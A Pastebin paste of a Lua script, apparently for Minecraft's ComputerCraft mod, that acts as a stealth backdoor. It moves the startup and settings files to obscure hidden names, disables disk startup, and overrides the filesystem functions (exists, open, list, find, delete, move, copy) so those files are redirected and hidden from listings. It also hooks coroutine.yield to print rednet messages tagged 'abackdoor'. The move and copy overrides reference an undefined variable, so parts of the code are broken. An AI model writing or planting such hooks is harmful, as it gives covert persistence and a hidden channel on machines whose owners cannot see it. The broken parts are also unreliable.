Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local redirects={{"startup",".ryxh0hsdf0jd9cmfipoa-98mfugjvfkbxccbnbdgxhggfjke"},{".settings",".dahfjshodhgsogfceh9etbwq6rctf45w6etf8teyg8fdrwg"}}
- local fsopen=fs.open
- local fsexist=fs.exists
- local fslist=fs.list
- local termwrite=term.write
- local fsdelete=fs.delete
- local fsmove=fs.move
- local fscopy=fs.copy
- local fsfind=fs.find
- local fscombine=fs.combine
- local settingsset=settings.set
- if not fsexist(redirects[2][2]) then
- fscopy(".settings",redirects[2][2])
- settingsset("shell.allow_disk_startup",false)
- end
- local function trg(s)
- for i=1,#redirects do
- if s==redirects[i][1] or s==redirects[i][1]..".lua" then
- return true
- end
- end
- return false
- end
- local function dst(s)
- for i=1,#redirects do
- if s==redirects[i][2] or s==redirects[i][2]..".lua" then
- return true
- end
- end
- return false
- end
- local function redir(s)
- for i=1,#redirects do
- if s==redirects[i][1] then
- return redirects[i][2]
- end
- if s==redirects[i][1]..".lua" then
- return redirects[i][2]..".lua"
- end
- end
- print("um")
- end
- fs.exists=function(file)
- if trg(file) then return fsexist(redir(file)) end
- return fsexist(file)
- end
- fs.delete=function(file)
- if trg(file) then return fsdelete(redir(file)) end
- return fsdelete(file)
- end
- fs.move=function(file1,file2)
- if trg(file) then return fsmove(redir(file),file2) end
- if trg(file2) then return fsmove(file,redir(file2)) end
- return fsmove(file1,file2)
- end
- fs.copy=function(file1,file2)
- if trg(file) then return fscopy(redir(file),file2) end
- if trg(file2) then return fscopy(file,redir(file2)) end
- return fscopy(file1,file2)
- end
- fs.open=function(file,mode)
- file=fscombine(file,"")
- if trg(file) then
- if not fsexist(redir(file)) then
- fsopen(redir(file),"w").close()
- end
- file=redir(file)
- end
- return fsopen(file,mode)
- end
- fs.list=function(location)
- if fscombine(location,"")~="" then return fslist(location) end
- local real=fslist(location)
- local fake={}
- for i=1,#real do
- if (trg(real[i])) then
- if fsexist(redir(real[i])) then
- table.insert(fake,real[i])
- end
- else
- if not dst(real[i]) then
- table.insert(fake,real[i])
- end
- end
- end
- return fake
- end
- fs.find=function(files)
- if fscombine(files,"")~="" then return fsfind(files) end
- local real=fsfind(files)
- local fake={}
- for i=1,#real do
- if (trg(real[i])) then
- if fsexist(redir(real[i])) then
- table.insert(fake,real[i])
- end
- else
- if not dst(real[i]) then
- table.insert(fake,real[i])
- end
- end
- end
- return fake
- end
- local coroutineyield=coroutine.yield
- coroutine.yield=function(...)
- local args={coroutineyield(...)}
- --print(unpack(args))
- if args[1]=="rednet_message" and args[3]=="abackdoor" then
- print(args[4])
- end
- return unpack(args)
- end
- shell.run("/rom/startup.lua")
Add Comment
Please, Sign In to add comment